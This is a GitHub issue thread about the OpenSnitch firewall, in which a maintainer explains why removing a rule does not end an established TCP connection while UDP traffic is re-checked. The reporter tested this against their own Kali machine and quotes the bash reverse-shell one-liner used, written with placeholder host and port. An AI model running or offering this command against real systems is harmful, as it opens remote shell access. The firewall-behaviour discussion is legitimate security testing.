Rules removal doesn't apply when its owner is running

[molitona]

Hi, I noticed that rules removal doesn't take effect immediately when its owner (binary that made request) is running. So, I've to restart the binary/software to let it request it again.

I tested that by getting a reverse shell from my own machine to kali linux. For that, I granted reverse shell request with opensnitch then I removed that rule from opensnitch gui and still have a reverse shell on kali linux (I'll have to kill my terminal where I typed the command that will give kali a reverse shell of my machine to stop the reverse shell on kali).

Why removing a rule doesn't apply immediately when its owner is running.

[gustavo-iniguez-goya]

That's because we allow the first package for TCP, so from that on the connection is allowed.

When you remove a rule we don't kill the sockets associated with that connection. We don't keep a list of connectiones initiated by a process, so we wouldn't be able to kill those sockets anyway.

If the connection is UDP then after you remove a rule you'll be prompted to allow or deny it again.

[molitona]

Thanks, I got your second line well.

But, what do you mean by first package of TCP ?
Also, does removing UDP rule kills the sockets then?? (that's why I receive prompt again)?

[molitona]

@gustavo-iniguez-goya

[gustavo-iniguez-goya]

oops, sorry molitona, I'd totally forgoten this.

What network protocol did you use for to establish the reverse shell? And what binary (application) did you use? Can you post the shell command?

[molitona]

I USED:sh -i >& /dev/tcp/IP/PORT 0>&1 BTW, you haven't yet responded me for my 2 questions. Dec 12, 2021, 22:49 by ***@***.***:

…

oops, sorry molitona, I'd totally forgoten this. What network protocol did you use for to establish the reverse shell? And what binary (application) did you use? Can you post the shell command? — You are receiving this because you authored the thread. Reply to this email directly, > view it on GitHub <#542 (comment)>> , or > unsubscribe <https://github.com/notifications/unsubscribe-auth/AIPC4MNFDRQ5XQ4HJTAQAJ3UQUKFZANCNFSM5H2JGRHA>> . Triage notifications on the go with GitHub Mobile for > iOS <https://apps.apple.com/app/apple-store/id1477376905?ct=notification-email&mt=8&pt=524675>> or > Android <https://play.google.com/store/apps/details?id=com.github.android&referrer=utm_campaign%3Dnotification-email%26utm_medium%3Demail%26utm_source%3Dgithub>> .

[gustavo-iniguez-goya]

Also, does removing UDP rule kills the sockets then?? (that's why I receive prompt again)?

No.

But, what do you mean by first package of TCP ?

I think it's better to explain it with images.

This is a typical TCP connection (0). As you see, we only check rules on the very first stage of it, when an application sends a SYN packet:

Once allowed, the app starts sending data, and we don't check what is being sent nor the properties of it. If you remove a rule while the app is sending data, since the app doesn't send a SYN packet, we don't check the rules, thus, the connection is not stopped to allow or deny it.

So if you remove a rule while you have a TCP reverse shell active (or any other application), the reverse shell will keep working.

However let's take a look a UDP connection:

In this case there're no SYN packets. Every call to sendto() is handled as a new connection, so the rules are checked over and over.
If you decide to remove a rule while a UDP transmission is being taken place, on the next UDP packet we'll check the rules, and if there's no rule for that connection we'll prompt the user again to allow or deny it.

[molitona]

Thanks a lot for explanation <3